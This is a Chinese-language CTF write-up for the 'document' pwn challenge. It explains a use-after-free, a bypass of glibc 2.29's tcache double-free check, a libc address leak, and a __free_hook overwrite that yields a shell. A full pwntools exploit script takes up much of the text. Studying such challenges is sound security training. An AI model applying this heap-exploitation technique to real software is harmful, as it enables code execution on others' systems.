i春秋2020新春戰役PWN之document(繞過tcache的double free檢測)

Document

首先,檢查一下程序的保護機制

然後,我們用IDA分析一下,經典的增刪改查程序

Delete功能沒有清空指針,存在UAF漏洞

Create功能的size不可控

UAF無法修改到*heap處的內容,也就是next指針的值

Create功能最多允許創建7個堆

題目給我們的glibc版本爲2.29,存在tcache機制,且增加了對tcache double free的檢查。

  1. typedef struct tcache_entry  
  2. {  
  3.   /*指向下一個空閒chunk*/  
  4.   struct tcache_entry *next;  
  5.   /* 用來檢測double free*/  
  6.   struct tcache_perthread_struct *key;  
  7. } tcache_entry;  

讓我們來看看是如何檢測的吧

  1. /* Check to see if it's already in the tcache.  */  
  2. tcache_entry *e = (tcache_entry *) chunk2mem (p);  
  3.   
  4. /* This test succeeds on double free.  However, we don't 100% 
  5.    trust it (it also matches random payload data at a 1 in 
  6.    2^<size_t> chance), so verify it's not an unlikely 
  7.    coincidence before aborting.  */  
  8. if (__glibc_unlikely (e->key == tcache)) {  
  9.     tcache_entry *tmp;  
  10.     LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);  
  11.     for (tmp = tcache->entries[tc_idx];  
  12.             tmp;  
  13.             tmp = tmp->next)  
  14.         if (tmp == e)  
  15.             malloc_printerr ("free(): double free detected in tcache 2");  
  16.     /* If we get here, it was a coincidence.  We've wasted a 
  17.        few cycles, but don't abort.  */  
  18. }  

顯然,如果我們讓e->key == tcache不成立,就能夠double free了。

而之前,我們分析了edit函數,changeSex功能可以修改key指針的低1字節,那麼就能使得這個不再成立。於是,我們先用double free來將0x90的tcache bin填滿7個。

  1. #0  
  2. create('a'*0x8,'a'*0x70)  
  3. #1  
  4. create('b'*0x8,'b'*0x70)  
  5. #2  
  6. create('c'*0x8,'c'*0x70)  
  7. #3  
  8. create('d'*0x8,'d'*0x70)  
  9.   
  10. delete(0)  
  11. #修改key,偏移1,繞過了double free檢查  
  12. edit(0,'a'*0x70)  
  13. delete(0)  
  14.   
  15. delete(1)  
  16. edit(1,'a'*0x70)  
  17.   
  18. delete(2)  
  19. #修改key,偏移1,繞過了double free檢查  
  20. edit(2,'a'*0x70)  
  21. delete(2)  
  22.   
  23. delete(3)  
  24. #修改key,偏移1,繞過了double free檢查  
  25. edit(3,'a'*0x70)  
  26. delete(3)  

接下來,繼續delete,就能將chunk放入unsorted bin了,再利用UAF泄露地址。

  1. #由於前面,把tcache給填滿了,現在這個就放入unsorted bin  
  2. delete(1)  
  3. show(1)  
  4.   
  5. sh.recvuntil('\n')  
  6. main_arena_88 = u64(sh.recvuntil('\n',drop = True).ljust(8,'\x00'))  
  7. malloc_hook_addr = (main_arena_88 & 0xFFFFFFFFFFFFF000) + (malloc_hook_s & 0xFFF)  
  8. libc_base = malloc_hook_addr - malloc_hook_s  
  9. free_hook_addr = libc_base + free_hook_s  
  10. system_addr = libc_base + system_s  
  11. print 'libc_base=',hex(libc_base)  
  12. print 'free_hook_addr=',hex(free_hook_addr)  
  13. print 'system_addr=',hex(system_addr)  

現在,堆佈局是這樣的

那麼,就能很容易利用了。我們的完整exp腳本

#coding:utf8
from pwn import *

sh = process('./document')
#sh = remote('node3.buuoj.cn',26208)
libc = ELF('/usr/lib/x86_64-linux-gnu/libc-2.29.so')
malloc_hook_s = libc.symbols['__malloc_hook']
free_hook_s = libc.symbols['__free_hook']
system_s = libc.sym['system']

def create(name,content):
   sh.sendlineafter('Give me your choice :','1')
   sh.sendafter('input name',name)
   sh.sendafter('input sex','M')
   sh.sendafter('input information',content)

def show(index):
   sh.sendlineafter('Give me your choice :','2')
   sh.sendlineafter('Give me your index :',str(index))

def edit(index,content,changeSex = 'Y'):
   sh.sendlineafter('Give me your choice :','3')
   sh.sendlineafter('Give me your index :',str(index))
   #這一步至關重要
   sh.sendafter('Are you sure change sex?',changeSex)
   sh.sendafter('Now change information',content)

def delete(index):
   sh.sendlineafter('Give me your choice :','4')
   sh.sendlineafter('Give me your index :',str(index))

#0
create('a'*0x8,'a'*0x70)
#1
create('b'*0x8,'b'*0x70)
#2
create('c'*0x8,'c'*0x70)
#3
create('d'*0x8,'d'*0x70)

delete(0)
#修改key,偏移1,繞過了double free檢查
edit(0,'a'*0x70)
delete(0)

delete(1)
edit(1,'a'*0x70)

delete(2)
#修改key,偏移1,繞過了double free檢查
edit(2,'a'*0x70)
delete(2)

delete(3)
#修改key,偏移1,繞過了double free檢查
edit(3,'a'*0x70)
delete(3)

#由於前面,把tcache給填滿了,現在這個就放入unsorted bin裏
delete(1)
show(1)

sh.recvuntil('\n')
main_arena_88 = u64(sh.recvuntil('\n',drop = True).ljust(8,'\x00'))
malloc_hook_addr = (main_arena_88 & 0xFFFFFFFFFFFFF000) + (malloc_hook_s & 0xFFF)
libc_base = malloc_hook_addr - malloc_hook_s
free_hook_addr = libc_base + free_hook_s
system_addr = libc_base + system_s
print 'libc_base=',hex(libc_base)
print 'free_hook_addr=',hex(free_hook_addr)
print 'system_addr=',hex(system_addr)

#將free_hook_addr鏈接到tcache bin
create(p64(free_hook_addr),'a'*0x70) #4
create('/bin/sh\x00','a'*0x70) #5
#寫free_hook
create(p64(system_addr),'a'*0x70) #6
#getshell
delete(5)

sh.interactive()

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章